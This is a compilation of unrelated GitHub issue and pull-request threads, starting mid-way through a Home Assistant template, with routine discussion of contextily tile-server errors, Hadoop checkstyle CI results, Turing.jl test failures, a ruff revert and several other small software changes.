                  {{states("sensor.mail_ups_delivering")|int}}
                {%- endif -%}
              {{' '}}
                {%- if states("sensor.mail_ups_delivering")|int == 1 -%}
                  UPS package is
                {%- else -%}
                  UPS packages are
                {%- endif -%}
              {{' '}}in transit.{{' '}}
          {%- endmacro %}
        {{deliveries_sentence()}}

Examples are welcomed, if you'd like you can submit a PR to update the README examples with your code bits.

Cool; I'll try to get to a PR over the weekend.

@rpitera have you checked out the custom card?
https://github.com/moralmunky/Home-Assistant-Mail-And-Packages-Custom-Card

@moralmunky No, I hadn't realized it was updated to work with the new version!  Cool!  I'll test that too.


Implement timeout and debug options

This adds two new options to done-ssr, timeout and debug. With timeout you can specify a timeout in milliseconds at which point we will exit the zone and render what we already have.
With debug stack traces will be appended as a modal.

@tomgreever Would you be available to help me design this terrible modal? I can send you an html file.

This is merged into minor. Leaving the PR open for the moment.

@matthewp any reason not to use a third party style for it? Even Bootstrap or http://codepen.io/samirc/pen/bVLXPV or http://drublic.github.io/css-modal/ ?

No, I think those can do. I just need something small enough to fit in a <style> tag. Might want to come back to this if/when we get to https://github.com/donejs/donejs/issues/533

Looks a bit better

Seems like it should be wrapped in a code block or at least a monospace font.

Yeah, if only I could articulate my design decisions though.


how to use next or done in basic.check()?

app.use('/explorer', basic.check(), explorer);
basic.check is not terminating the function. It should exit the function if username & password matched

hi @gevorg
in the old version we use http-auth like a middleware
const auth = require('http-auth');
const basic = auth.basic({realm: 'Simon Area.'}, function(user, pass, callback) {
  callback(user === 'username' && pass === 'password');
});

app.get('/admin', auth.connect(basic), dashboard);

but now I can't find auth.connect I think it deprecated
please can u help and tell us how to use it as a middleware?

@fanuuuu u can use my fork until u receive any comment from @gevorg
npm install --save https://github.com/AbdOoSaed/http-auth

@fanuuuu @AbdOoSaed please check https://github.com/http-auth/http-auth-connect dependency with connect is out from http-auth.


HADOOP-17109. add guava BaseEncoding to illegalClasses

HADOOP-17109: Replace Guava base64Url and base64 with Java8+ base64
The hadoop source code relies on org.apache.commons. for Base64.
This PR is to add the com.google.common.io.BaseEncoding to illegal classes in order to prevent using the guava import in future commits.

This PR only touches the checkstyle configuration.
There are no occurrences of com.google.common.io.BaseEncoding in the code.

:broken_heart: -1 overall

Vote
Subsystem
Runtime
Logfile
Comment

+0 :ok:
reexec
0m 40s

Docker mode activated.

_ Prechecks _

+1 :green_heart:
dupname
0m  0s

No case conflicting files found.

+1 :green_heart:
@author
0m  0s

The patch does not contain any @author tags.

-1 :x:
test4tests
0m  0s

The patch doesn't appear to include any new or modified tests. Please justify why no new tests are needed for this patch. Also please list what manual steps were performed to verify this patch.

_ trunk Compile Tests _

+1 :green_heart:
mvninstall
34m 12s

trunk passed

+1 :green_heart:
compile
0m 20s

trunk passed with JDK Ubuntu-11.0.10+9-Ubuntu-0ubuntu1.20.04

+1 :green_heart:
compile
0m 21s

trunk passed with JDK Private Build-1.8.0_282-8u282-b08-0ubuntu1~20.04-b08

+1 :green_heart:
mvnsite
0m 20s

trunk passed

+1 :green_heart:
shadedclient
48m 33s

branch has no errors when building and testing our client artifacts.

+1 :green_heart:
javadoc
0m 26s

trunk passed with JDK Ubuntu-11.0.10+9-Ubuntu-0ubuntu1.20.04

+1 :green_heart:
javadoc
0m 24s

trunk passed with JDK Private Build-1.8.0_282-8u282-b08-0ubuntu1~20.04-b08

_ Patch Compile Tests _

+1 :green_heart:
mvninstall
0m 15s

the patch passed

+1 :green_heart:
compile
0m 15s

the patch passed with JDK Ubuntu-11.0.10+9-Ubuntu-0ubuntu1.20.04

+1 :green_heart:
javac
0m 15s

the patch passed

+1 :green_heart:
compile
0m 14s

the patch passed with JDK Private Build-1.8.0_282-8u282-b08-0ubuntu1~20.04-b08

+1 :green_heart:
javac
0m 14s

the patch passed

+1 :green_heart:
mvnsite
0m 13s

the patch passed

+1 :green_heart:
whitespace
0m  0s

The patch has no whitespace issues.

+1 :green_heart:
xml
0m  2s

The patch has no ill-formed XML file.

+1 :green_heart:
shadedclient
12m 39s

patch has no errors when building and testing our client artifacts.

+1 :green_heart:
javadoc
0m 19s

the patch passed with JDK Ubuntu-11.0.10+9-Ubuntu-0ubuntu1.20.04

+1 :green_heart:
javadoc
0m 18s

the patch passed with JDK Private Build-1.8.0_282-8u282-b08-0ubuntu1~20.04-b08

_ Other Tests _

+1 :green_heart:
unit
0m 20s

hadoop-build-tools in the patch passed.

+1 :green_heart:
asflicense
0m 34s

The patch does not generate ASF License warnings.

68m 18s

Subsystem
Report/Notes

Docker
ClientAPI=1.41 ServerAPI=1.41 base: https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-2703/1/artifact/out/Dockerfile

GITHUB PR
https://github.com/apache/hadoop/pull/2703

Optional Tests
dupname asflicense compile javac javadoc mvninstall mvnsite unit shadedclient xml

uname
Linux f455a51d93c9 4.15.0-60-generic #67-Ubuntu SMP Thu Aug 22 16:55:30 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
dev-support/bin/hadoop.sh

git revision
trunk / bad6038a487

Default Java
Private Build-1.8.0_282-8u282-b08-0ubuntu1~20.04-b08

Multi-JDK versions
/usr/lib/jvm/java-11-openjdk-amd64:Ubuntu-11.0.10+9-Ubuntu-0ubuntu1.20.04 /usr/lib/jvm/java-8-openjdk-amd64:Private Build-1.8.0_282-8u282-b08-0ubuntu1~20.04-b08

Test Results
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-2703/1/testReport/

Max. process+thread count
537 (vs. ulimit of 5500)

modules
C: hadoop-build-tools U: hadoop-build-tools

Console output
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-2703/1/console

versions
git=2.25.1 maven=3.6.3

Powered by
Apache Yetus 0.13.0-SNAPSHOT https://yetus.apache.org

This message was automatically generated.

Fortunately, guava.baseEncoding is not used in hadoop code. So, I did not have to change source code.
@aajisaka can you please take a look at the checkstyle configuration?

Thank you @amahussein for your contribution.


Several errors with ctx.add_basemap()

I am using ctx.add_basemap() to spice up an example notebook for a package I maintain. This package/function is really helpful so thanks for creating this. However, it is convenient if my notebook runs successfully at any moment in time, independent of contextily. Quite often, the notebook crashes because of a (server)timeout or different error in contextily that temporarily pops up. Today, I encountered the following error, which is not really reproducible at the moment:
---------------------------------------------------------------------------
AttributeError                            Traceback (most recent call last)
Cell In[4], line 15
     13 mk_object.mesh2d_get().plot_edges(ax,zorder=1)
     14 bnd_gdf_interp.plot(ax=ax, edgecolor='r')
---> 15 ctx.add_basemap(ax=ax, crs=crs, attribution=False)
     16 dfmt.plot_coastlines(ax=ax, crs=crs)

File ~\Anaconda3\envs\dfm_tools_env\Lib\site-packages\contextily\plotting.py:134, in add_basemap(ax, zoom, source, interpolation, attribution, attribution_size, reset_extent, crs, resampling, zoom_adjust, **extra_imshow_args)
    130     left, right, bottom, top = _reproj_bb(
    131         left, right, bottom, top, crs, "epsg:3857"
    132     )
    133 # Download image
--> 134 image, extent = bounds2img(
    135     left, bottom, right, top, zoom=zoom, source=source, ll=False, zoom_adjust=zoom_adjust
    136 )
    137 # Warping
    138 if crs is not None:

File ~\Anaconda3\envs\dfm_tools_env\Lib\site-packages\contextily\tile.py:265, in bounds2img(w, s, e, n, zoom, source, ll, wait, max_retries, n_connections, use_cache, zoom_adjust)
    262 arrays = Parallel(n_jobs=n_connections, prefer=preferred_backend)(
    263     delayed(fetch_tile_fn)(tile_url, wait, max_retries) for tile_url in tile_urls)
    264 # merge downloaded tiles
--> 265 merged, extent = _merge_tiles(tiles, arrays)
    266 # lon/lat extent --> Spheric Mercator
    267 west, south, east, north = extent

File ~\Anaconda3\envs\dfm_tools_env\Lib\site-packages\contextily\tile.py:660, in _merge_tiles(tiles, arrays)
    657 indices = tile_xys - tile_xys.min(axis=0)
    659 # the shape of individual tile images
--> 660 h, w, d = arrays[0].shape
    662 # number of rows and columns in the merged tile
    663 n_x, n_y = (indices + 1).max(axis=0)

AttributeError: 'NoneType' object has no attribute 'shape'

I think this should be possible to reproduce this with this simpler code:
import matplotlib.pyplot as plt
plt.close('all')
import contextily as ctx

lon_min, lon_max, lat_min, lat_max = 105.8, 106.85, 17.75, 18.5

fig, ax = plt.subplots()
ax.set_xlim(lon_min, lon_max)
ax.set_ylim(lat_min, lat_max)

ctx.add_basemap(ax=ax, crs='EPSG:4326')

I understand that this is not a useful issue description since it is not reproducible yet. However, I would like to have it as a placeholder so I can immediately report related follow-up issues in the future. Feel free to close it as "won't do", it can be re-opened when relevant. My ideal situation would be that this function is more robust and does not crash every few weeks. Until then, I will comment usage in my example notebook in order to not bother users with it.

Hi, I am aware of these issues but their unpredictable nature makes it very tricky to reproduce and fix them. I have never been able to reproduce it locally.
I learned that it is way more often caused by the default OpenStreetMap.HOT tile provider than other, so for the sake of stability of your documentation, I would suggest picking another provider. That should fix the issue in most cases.
The problem is that when requesting a tile from a provider, we don't receive data. It is not a bug on contextily side but on the server side we cannot influence. We could try to re-try the tile fetching if it returns null array but I would need to reproduce the issue to write that fix reliably.

Thanks for this clarification, it makes total sense. It would still be great if the error can be more meaningful than AttributeError: 'NoneType' object has no attribute 'shape' though. In the current situation I see often it is difficult for users to realize that it is due to a server fault, which makes sense to me.

I am now getting this one:
Traceback (most recent call last):

  File ~\Anaconda3\envs\dfm_tools_env\Lib\site-packages\spyder_kernels\py3compat.py:356 in compat_exec
    exec(code, globals, locals)

  File c:\data\dfm_tools\dfm_tools\untitled2.py:18
    ctx.add_basemap(ax=ax, crs='EPSG:4326')

  File ~\Anaconda3\envs\dfm_tools_env\Lib\site-packages\contextily\plotting.py:134 in add_basemap
    image, extent = bounds2img(

  File ~\Anaconda3\envs\dfm_tools_env\Lib\site-packages\contextily\tile.py:265 in bounds2img
    merged, extent = _merge_tiles(tiles, arrays)

  File ~\Anaconda3\envs\dfm_tools_env\Lib\site-packages\contextily\tile.py:660 in _merge_tiles
    h, w, d = arrays[0].shape

AttributeError: 'NoneType' object has no attribute 'shape'

This comes from the _merge_tiles() function, just like my initial issue description, but another line. I think now array[0] is None, while before array[n] was None. I think it would be valuable to add this code to _merge_tiles():
if None in arrays:
    raise ValueError('None was returned by the server when retrieving image tiles/arrays, please try again or later')

Or maybe better, add this to _fetch_tile() or even to _retryer():
if array is None:
    raise ValueError('None was returned by the server when retrieving image array, please try again or later')

This way, at least it is clear for the user that this is because of a server issue.
Unfortunately this was all the testing I could do since after these steps, the returned tiles were complete again.

That is a great analysis! Could you try to turn these into a pull request? I don't really have a bandwidth to look into that myself but I should be able to review it.

I know now why the is None check does not work in _retryer() but does work in _fetch_tile(). This is because the request part works fine, but sometimes there is a HTTPError like this:
requests.exceptions.HTTPError: 502 Server Error: Bad Gateway for url: https://a.tile.openstreetmap.fr/hot/10/815/459.png

This is not catched by the if/elif loop under except. Adding 502 to the list would fix this specific problem, but actually I guess it should just be an else instead of elif, so all status_codes that are not 404 are tried again. What do you think?

I guess it should just be an else instead of elif

that is probably right.
I also think, that occasionally we get status 200 but image and then array are empty. We should check for that in _retryer, ensuring that if we return a tile, it is valid.

In all testing I did I did not encounter an empty array in _retryer, that is what confused me at first. But later I noticed it is none because not all situations are captured, after which the function returns None which can be then seen in _fetch_tiles(). Could it not be that those occasions you mention were also status_codes different that 404/200/104?

I also think, that occasionally we get status 200 but image and then array are empty. We should check for that in _retryer, ensuring that if we return a tile, it is valid.

It seems you are right, I just saw this happening despite the fix from the PR:
/opt/hostedtoolcache/Python/3.12.5/x64/lib/python3.12/site-packages/contextily/plotting.py:134: in add_basemap
    image, extent = bounds2img(
/opt/hostedtoolcache/Python/3.12.5/x64/lib/python3.12/site-packages/contextily/tile.py:287: in bounds2img
    merged, extent = _merge_tiles(tiles, arrays)
/opt/hostedtoolcache/Python/3.12.5/x64/lib/python3.12/site-packages/contextily/tile.py:682: in _merge_tiles
    h, w, d = arrays[0].shape
E   AttributeError: 'NoneType' object has no attribute 'shape'

But of course very difficult to reproduce and therefore to check whether a potential fix is indeed correct. It strikes me how instable the default source has become, this was not the case several months ago. Is there someone who can be contacted about this? Or is it maybe wise to consider another default source?

It is happening since the release of 1.5.0 in December which changed the default from Stamen tiles that no longer work without an API key to OpenStreetMap.HOT. Their servers seems to be a bit flaky.
One option is to change the default again, to OpenStreetMap.Mapnik, which I suppose will be much more stable but also less suited to be used as a background map due to its cartographic style. Other option is to catch the error above in a similar way we did with the other points of failure and raise the same error explaining that this is not a contextily issue. But given the relative frequency, it may be the best to switch the default again, even if it may cause some friction for downstream users.

cc @jorisvandenbossche this is the issue we've been discussing yesterday.

Follow-up issue to also catch this None: https://github.com/geopandas/contextily/issues/252

No. Folks from Stadia were doing fixes across the ecosystem to allow Stamen tiles to be pulled via Stadia, which we do allow. But for that you need a Stadia API key, so it is not suitable for a default style.

Agreed, shame that they added this API-key..

One option is to change the default again, to OpenStreetMap.Mapnik, which I suppose will be much more stable but also less suited to be used as a background map due to its cartographic style. Other option is to catch the error above in a similar way we did with the other points of failure and raise the same error explaining that this is not a contextily issue. But given the relative frequency, it may be the best to switch the default again, even if it may cause some friction for downstream users.

By the way, I also got the HTTPError with OpenStreetMap.Mapnik, so I guess updating the default to that does not make a lot of sense. Would it be worthwile to report it? I would not know where, but you might have an idea?

No idea where, never looked for it.


chore: reuse defaultArchList

What kind of change does this PR introduce?

[ ] Bugfix
[ ] Feature
[ ] Docs
[ ] New Binding issue #___
[ ] Code style update
[ ] Refactor
[ ] Build-related changes
[ ] Other, please describe:

Does this PR introduce a breaking change?

[ ] Yes, and the changes were approved in issue #___
[ ] No

Checklist

[ ] When resolving issues, they are referenced in the PR's title (e.g fix: remove a typo, closes #___, #___)
[ ] A change file is added if any packages will require a version bump due to this PR per the instructions in the readme.
[ ] I have added a convincing reason for adding this feature, if necessary

Other information

Funny how this didn't trigger any CI. We need to fix this and make it run test-android.yml.

Yeah that's weird but test-android is actually setup correctly, maybe that is a bug because I changed the base branch from dev to next?

yeah that was it


Added golint / govet to Travis CI for arm packages

This change:

Improves the UserAgent string to disambiguate arm packages from others in the SDK
Improves setting the http.Response into generated results (reduces likelihood of a nil reference)
Adds gofmt, golint, and govet to Travis CI for the arm packages

Signed-off-by: Brendan Dixon<EMAIL_ADDRESS>

This PR address #196.

LGTM


Whys blog edit

Made some changes to #30

Could you update the date field?

cc @jbenet

We can update the date field when we publish this

Why don't we close #30, since it is on a remote we can't push to, and just use this as the main new PR?

To add (from @dignifiedquire):

talk about files API
talk about new webui
possible screenshots of the above

I'll contribute a paragraph about v03x/v04x -- will have to change location again in a bit :)

I'll contribute a paragraph about v03x/v04x

something like this:
The Public Gateway and Bootstrappers
We provide two essential public services to the IPFS community: the public gateway at https://ipfs.io and the default bootstrap nodes. We're making sure that despite the breaking changes, both continue to work with both 0.4.x and 0.3.x for a while. You can read more about the details of this in an earlier blog post: Migrating ipfs.io from go-ipfs 0.3.x to 0.4.0. We expect to keep this grace period open until the end of April 2016.

@jbenet could you please review?

Overall, looks great. I think there’s a few things we should add — for instance, the entire changelog. I've made a PR with my edits to your branch -- see #41. And we still need pictures.

preview: https://ipfs.io/ipfs/Qmab1no1nx6svsjVG7kvUBKkXS6diRRvocMkEYMNxivHNK/14-ipfs-0-4-0-released/

added fireworks
moved files api section
fixed post metadata (id and date)
fixed files api code example

LGTM!


Put usage data (formal/informal, British/American) to the front side of the card

I decided not to put geo data like British/American into cards, but added formal/informal data.


[Health Connect] Set up health data permissions workflow

Set up permissions dialogue for health data: https://developer.android.com/guide/health-and-fitness/health-connect/get-started

Addressed by #63.


Unresponsive

Issue Type: Bug
Extension Name: git
Extension Version: 1.0.0
OS Version: Windows_NT x64 10.0.19044
VS Code version: 1.69.2

:warning: We have written the needed data into your clipboard. Please paste! :warning:

/needsMoreInfo

Thanks for creating this issue! We figured it's missing some basic information or in some other way doesn't follow our issue reporting guidelines. Please take the time to review these and update the issue.
Happy Coding!


Revert "[pylint] Implement import-private-name (C2701)"

Reverts astral-sh/ruff#5920 because It's panicking in the pydantic benchmark run (see astral-sh/ruff/actions/runs/7537305800/job/20516059364?pr=5920).
ruff on  lexer-explicit-id-false-brnaches [$] is 📦 v0.1.13 via 🐍 v3.11.6 via 🦀 v1.75.0
❯ cargo bench -p ruff_benchmark --bench linter --  "all-with-preview-rules[pydantic/types.py]"
    Finished bench [optimized] target(s) in 0.08s
     Running benches/linter.rs (target/release/deps/linter-3478ab4e9ed35ca9)
linter/all-with-preview-rules/numpy/globals.py
                        time:   [165.16 µs 165.62 µs 166.37 µs]
                        thrpt:  [17.736 MiB/s 17.816 MiB/s 17.866 MiB/s]
Found 6 outliers among 100 measurements (6.00%)
  1 (1.00%) high mild
  5 (5.00%) high severe
linter/all-with-preview-rules/unicode/pypinyin.py
                        time:   [657.40 µs 657.83 µs 658.47 µs]
                        thrpt:  [6.3813 MiB/s 6.3875 MiB/s 6.3917 MiB/s]
Found 11 outliers among 100 measurements (11.00%)
  6 (6.00%) high mild
  5 (5.00%) high severe
linter/all-with-preview-rules/pydantic/types.py
                        time:   [2.5630 ms 2.5687 ms 2.5749 ms]
                        thrpt:  [9.9046 MiB/s 9.9285 MiB/s 9.9506 MiB/s]
Found 20 outliers among 100 measurements (20.00%)
  18 (18.00%) high mild
  2 (2.00%) high severe
Benchmarking linter/all-with-preview-rules/numpy/ctypeslib.py: Warming up for 3.0000 sthread 'main' panicked at crates/ruff_linter/src/rules/pylint/rules/import_private_name.rs:137:41:
range end index 2 out of range for slice of length 1
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace

error: bench failed, to rerun pass `-p ruff_benchmark --bench linter`

@tjkuson would you mind having a look? I think it's due to the slicing into module_name

@MichaReiser I can submit a patch this evening, sorry for any disruption!


errors during testing (HMC?)

Platform: Windows 10, Julia 1.1.0
running the following produces an error:
add Turing
test Turing
.... lines about things being updated

[bbc10e6e] + DynamicHMC v1.0.2+ #master (https://github.com/tpapp/DynamicHMC.jl)
[HMC] Finished with
Running time        = 1.179192493000001;
Accept rate         = 1.0;
#lf / sample        = 0.9966666666666667;
#evals / sample     = 2.9966666666666666;
pre-cond. metric    = [1.0].
[HMC] Finished with
Running time        = 1.9699e-5;
Accept rate         = 1.0;
#lf / sample        = 0.0;
#evals / sample     = 2.0;
pre-cond. metric    = [1.0].
[HMC] Finished with
Running time        = 0.6601277;
Accept rate         = 1.0;
#lf / sample        = 0.5;
#evals / sample     = 2.5;
pre-cond. metric    = [1.0].
[-9.42436, -7.7163]
[-9.42436, -7.7163]
[ Info: [PG] Finished with
[ Info:   Running time    = 0.3503446859999997;
ERROR: Package Turing errored during testing

Using OSX 10.14, Julia 1.1.0, we have a similar result:

[bbc10e6e] + DynamicHMC v1.0.2+ #master (https://github.com/tpapp/DynamicHMC.jl)
[HMC] Finished with
Running time        = 1.6609471790000014;
Accept rate         = 0.9966666666666667;
#lf / sample        = 0.9966666666666667;
#evals / sample     = 2.9966666666666666;
pre-cond. metric    = [1.0].
[HMC] Finished with
Running time        = 3.3658e-5;
Accept rate         = 1.0;
#lf / sample        = 0.0;
#evals / sample     = 2.0;
pre-cond. metric    = [1.0].
[HMC] Finished with
Running time        = 0.997483639;
Accept rate         = 1.0;
#lf / sample        = 0.5;
#evals / sample     = 2.5;
pre-cond. metric    = [1.0].
[0.200685, 1.2323]
[0.200685, 1.2323]
[ Info: [PG] Finished with
[ Info:   Running time    = 0.5600100159999993;
signal (11): Segmentation fault: 11
in expression starting at /Users/au/.julia/packages/Turing/FTRCE/test/compiler.jl/beta_binomial.jl:26
jl_swap_fiber at /Users/osx/buildbot/slave/package_osx64/build/src/task.c:778
Allocations: 140303015 (Pool: 140281852; Big: 21163); GC: 317
ERROR: Package Turing errored during testing

Turing doesn't support Julia 1.1 yet, see https://github.com/TuringLang/Turing.jl/issues/657. Please try it on Julia 1.0.3.

Turing doesn't support Julia 1.1 yet, see #657. Please try it on Julia 1.0.3.

Ok, thanks!

We've made some progress;  a fix should be coming soon.

This should be fixed in the latest release.

I'm on Julia 1.4.1 and Windows 10, I got the same failure message "Package Turing errored during testing." The first error is
"Simplex Tracker, Zygote and ReverseDiff (with and without caching) AD: Error During Test at ~.julia\packages\Turing\cReBm\test\core\ad.jl:269
Got exception outside of a @test
MethodError: no method matching AxisArrays.AxisArray(::Array{Float64,3}; iter=1:1:1000, var=["theta[2]", "theta[4]", "theta[3]", "theta[1]", "lp", "n_steps", "is_accept", "acceptance_rate", "log_density", "hamiltonian_energy", "hamiltonian_energy_error", "step_size", "nom_step_size"], chain=1:1)"
and then it goes on like that for a few pages.

This seems to be the same error as https://github.com/TuringLang/Turing.jl/issues/1220. Can you check that you use the latest version of MCMCChains (i.e., MCMCChains 3.0.12)?

Thank you I updated MCMCChains but it's still showing only 3.0.11 . How do I get 3.0.12?

Maybe some other package is holding it back. By running
julia> import Pkg<EMAIL_ADDRESS>
Pkg should tell you which other package conflicts with 3.0.12.

Ok figured this out.
Pkg.add(Pkg.PackageSpec(name="MCMCChains", version="3.0.12"))
gave output
Resolving package versions...
Installed IntervalSets ─ v0.4.0
Installed MCMCChains ─── v3.0.12
Installed AxisArrays ─── v0.4.2
Updating ~\.julia\environments\v1.4\Project.toml
[39de3d68] ↑ AxisArrays v0.4.0 ⇒ v0.4.2
[c7f686f2] ↑ MCMCChains v3.0.11 ⇒ v3.0.12
Updating ~\.julia\environments\v1.4\Manifest.toml
[39de3d68] ↑ AxisArrays v0.4.0 ⇒ v0.4.2
[8197267c] ↓ IntervalSets v0.5.0 ⇒ v0.4.0
[c7f686f2] ↑ MCMCChains v3.0.11 ⇒ v3.0.12
IntervalSets seems to be the conflicting package here. Also, this fixed my problems with Turing, thanks!

Great that it works now!

Umm still having trouble :-( I tried this code
using Turing
using StatsPlots

# Define a simple Normal model with unknown mean and variance.
@model gdemo(x, y) = begin
  s ~ InverseGamma(2, 3)
  m ~ Normal(0, sqrt(s))
  x ~ Normal(m, sqrt(s))
  y ~ Normal(m, sqrt(s))
end

#  Run sampler, collect results
chn = sample(gdemo(1.5, 2), HMC(0.1, 5), 1000)

# Summarise results (currently requires the master branch from MCMCChains)
describe(chn)

# Plot and save results
p = plot(chn)
savefig("gdemo-plot.png")

and got the same error:
MethodError: no method matching AxisArray(::Array{Float64,3}; iter=1:1:1000, var=["m", "s", "lp", "n_steps", "is_accept", "acceptance_rate", "log_density", "hamiltonian_energy", "hamiltonian_energy_error", "step_size", "nom_step_size"], chain=1:1)
MCMCChains is on v3.0.12, and Turing passed the Pkg.test("Turing") checks okay.

Hmm are you sure you are using the latest version of MCMCChains? Such models are tested in the Turing tests, so I'm a bit surprised that they pass and your example fails :open_mouth:

I am surprised as well. Yes, I just updated MCMCChains, and it shows version 3.0.12 and AxisArrays is v0.4.2 .

Ok it's working now! So Pkg.test("Turing") was working (tests passed) after updating MCMCChains, but I was getting error messages on simple examples. Apparently I had to shut down the IJulia notebook, and restart it. All very strange.

Oh, yes, after updating packages that are already loaded you should restart Julia (or in your case the IJulia kernel). Glad you figured it out!

Running Pkg.test("Turing") starts a different Julia process, so that's why the updated package was used there.


Tabbing in a list item in an order list breaks formatting

Repro:

Create an ordered list with two items.
Insert a new line from the first line, creating a middle item.
Press tab to indent the line.
Notice that the list has been broken.

Confirmed fixed.


chore(home): moves shows module up

@dzucconi  - mind adding a screenshot of logged in view? Noticing over here that there's

Recently Viewed
Similar to ...
Recently Saved
Similar to ...

And those user-centric items seem more important than shows being second.

That is the logged in view

OK so I'll have to get crafty about threading this in.

Can we move it below the user-centric items? Or are you logged in from a fresh account and so those rails don't appear?
The main idea is to pull this shows content up above the sea of gene rails, which are numerous and somewhat arbitrary.

OK so I'll have to get crafty about threading this in.

(Don't want to block things -- only if its straightforward)

@damassi take a look at aa1cb6ca794f16751b5f22400719c86754dbbca8 — not pretty but it does the trick.
Logged in:
https://user-images.githubusercontent.com/112297/125680766-4cc86829-1db1-4ff8-bec7-93675b6fc570.mov
Logged out:
https://user-images.githubusercontent.com/112297/125683497-360644fd-b598-4f73-a531-a013ce2996cf.mov